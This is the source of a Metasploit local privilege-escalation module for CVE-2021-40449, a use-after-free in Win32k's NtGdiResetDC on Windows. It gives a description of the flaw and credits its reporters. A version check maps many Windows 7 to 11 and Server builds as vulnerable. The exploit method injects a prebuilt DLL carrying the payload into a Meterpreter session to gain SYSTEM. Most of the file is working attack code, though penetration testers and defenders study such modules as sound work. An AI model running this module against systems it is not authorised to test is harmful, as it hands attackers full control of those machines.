# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Win32k NtGdiResetDC Use After Free Local Privilege
Elevation',
'Description' => %q{
A use after free vulnerability exists in the `NtGdiResetDC()`
function of Win32k which can be leveraged by
an attacker to escalate privileges to those of `NT
AUTHORITY\SYSTEM`. The flaw exists due to the fact
that this function calls `hdcOpenDCW()`, which performs a user mode
callback. During this callback, attackers
can call the `NtGdiResetDC()` function again with the same handle
as before, which will result in the PDC object
that is referenced by this handle being freed. The attacker can
then replace the memory referenced by the handle
with their own object, before passing execution back to the
original `NtGdiResetDC()` call, which will now use the
attacker's object without appropriate validation. This can then
allow the attacker to manipulate the state of the
kernel and, together with additional exploitation techniques, gain
code execution as NT AUTHORITY\SYSTEM.
This module has been tested to work on Windows 10 x64 RS1 (build
14393) and RS5 (build 17763), however previous versions
of Windows 10 will likely also work.
},
'License' => MSF_LICENSE,
'Author' => [
'IronHusky', # APT Group who exploited this in the wild
'Costin Raiu', # Initial reporting on bug at SecureList
'Boris Larin', # Initial reporting on bug at SecureList
"Red Raindrop Team of Qi'anxin Threat Intelligence Center", #
detailed analysis report in Chinese showing how to replicate the
vulnerability
'KaLendsi', # First Public POC targeting Windows 10 build 14393
only, later added support for 17763
'ly4k', # GitHub POC adding support for Windows 10 build 17763, PoC
used for this module.
'Grant Willcox' # metasploit module
],
'Arch' => [ ARCH_X64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows 10 x64 RS1 (build 14393) and RS5 (build 17763)', {
'Arch' => ARCH_X64 } ]
],
'Payload' => {
'DisableNops' => true
},
'References' => [
[ 'CVE', '2021-40449' ],
[ 'URL',
'https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/'
], # Initial report of in the wild exploitation
[ 'URL', 'https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ' ], #
Detailed writeup
[ 'URL', 'https://github.com/KaLendsi/CVE-2021-40449-Exploit' ], #
First public PoC
[ 'URL', 'https://github.com/ly4k/CallbackHell' ] # Updated PoC
this module uses for exploitation.
],
'DisclosureDate' => '2021-10-12',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
'SideEffects' => []
}
}
)
)
end
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
# Non-Windows systems are definitely not affected.
return CheckCode::Safe('Target is not a Windows system, so it is
not affected by this vulnerability!')
end
build_num_raw = cmd_exec('cmd.exe /c ver')
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
if build_num.nil?
print_error("Couldn't retrieve the target's build number!")
else
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
print_status("Target's build number: #{build_num}")
end
# see
https://docs.microsoft.com/en-us/windows/release-information/
unless sysinfo_value =~
/(7|8|8\.1|10|2008|2012|2016|2019|1803|1809|1903)/
return CheckCode::Safe('Target is not running a vulnerable version
of Windows!')
end
build_num_gemversion = Rex::Version.new(build_num)
# Build numbers taken from
https://www.qualys.com/research/security-alerts/2021-10-12/microsoft/
if (build_num_gemversion >= Rex::Version.new('10.0.22000.0'))
&& (build_num_gemversion <
Rex::Version.new('10.0.22000.258')) # Windows 11
return CheckCode::Appears('Vulnerable Windows 11 build
detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.20348.0'))
&& (build_num_gemversion <
Rex::Version.new('10.0.20348.288')) # Windows Server 2022
return CheckCode::Appears('Vulnerable Windows Server 2022 build
detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.19044.0'))
&& (build_num_gemversion <
Rex::Version.new('10.0.19044.1319')) # Windows 10 21H2
return CheckCode::Appears('Vulnerable Windows 10 21H2 build
detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.19043.0'))
&& (build_num_gemversion <
Rex::Version.new('10.0.19043.1288')) # Windows 10 21H1
return CheckCode::Appears('Vulnerable Windows 10 21H1 build
detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.19042.0'))
&& (build_num_gemversion <
Rex::Version.new('10.0.19042.1288')) # Windows 10 20H2
return CheckCode::Appears('Vulnerable Windows 10 20H2 build
detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.19041.0'))
&& (build_num_gemversion <
Rex::Version.new('10.0.19041.1288')) # Windows 10 20H1
return CheckCode::Appears('Vulnerable Windows 10 20H1 build
detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.18363.0'))
&& (build_num_gemversion <
Rex::Version.new('10.0.18363.1854')) # Windows 10 v1909
return CheckCode::Appears('Vulnerable Windows 10 v1909 build
detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0'))
&& (build_num_gemversion <
Rex::Version.new('10.0.18362.9999999')) # Windows 10 v1903
return CheckCode::Appears('Vulnerable Windows 10 v1903 build
detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0'))
&& (build_num_gemversion <
Rex::Version.new('10.0.17763.2237')) # Windows 10 v1809
return CheckCode::Appears('Vulnerable Windows 10 v1809 build
detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0'))
&& (build_num_gemversion <
Rex::Version.new('10.0.17134.999999')) # Windows 10 v1803
return CheckCode::Appears('Vulnerable Windows 10 v1803 build
detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0'))
&& (build_num_gemversion <
Rex::Version.new('10.0.16299.999999')) # Windows 10 v1709
return CheckCode::Appears('Vulnerable Windows 10 v1709 build
detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0'))
&& (build_num_gemversion <
Rex::Version.new('10.0.15063.999999')) # Windows 10 v1703
return CheckCode::Appears('Vulnerable Windows 10 v1703 build
detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0'))
&& (build_num_gemversion <
Rex::Version.new('10.0.14393.4704')) # Windows 10 v1607
return CheckCode::Appears('Vulnerable Windows 10 v1607 build
detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0'))
&& (build_num_gemversion <
Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511
return CheckCode::Appears('Vulnerable Windows 10 v1511 build
detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0'))
&& (build_num_gemversion <
Rex::Version.new('10.0.10240.19086')) # Windows 10 v1507
return CheckCode::Appears('Vulnerable Windows 10 v1507 build
detected!')
elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0'))
&& (build_num_gemversion <
Rex::Version.new('6.3.9600.20144')) # Windows 8.1/Windows Server
2012 R2
return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server
2012 R2 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0'))
&& (build_num_gemversion <
Rex::Version.new('6.2.9200.23489')) # Windows 8/Windows Server
2012
return CheckCode::Appears('Vulnerable Windows 8/Windows Server 2012
build detected!')
elsif (build_num_gemversion >= Rex::Version.new('6.1.7601.0'))
&& (build_num_gemversion <
Rex::Version.new('6.1.7601.25740')) # Windows 7/Windows Server 2008
R2
return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008
R2 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('6.0.6003.0'))
&& (build_num_gemversion <
Rex::Version.new('6.0.6003.21251')) # Windows Server 2008/Windows
Server 2008 SP2
return CheckCode::Appears('Vulnerable Windows Server 2008/Windows
Server 2008 SP2 build detected!')
else
return CheckCode::Safe('The build number of the target machine does
not appear to be a vulnerable version!')
end
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if sysinfo['Architecture'] == ARCH_X64 && session.arch ==
ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not
supported')
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first
== ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target
is specified as x86')
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first
== ARCH_X64
fail_with(Failure::NoTarget, 'Session host is x86, but the target
is specified as x64')
end
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits',
'CVE-2021-40449', 'CVE-2021-40449.x64.dll'),
[encoded_payload.length].pack('I<') + encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged)
payload execution to complete.')
end
end

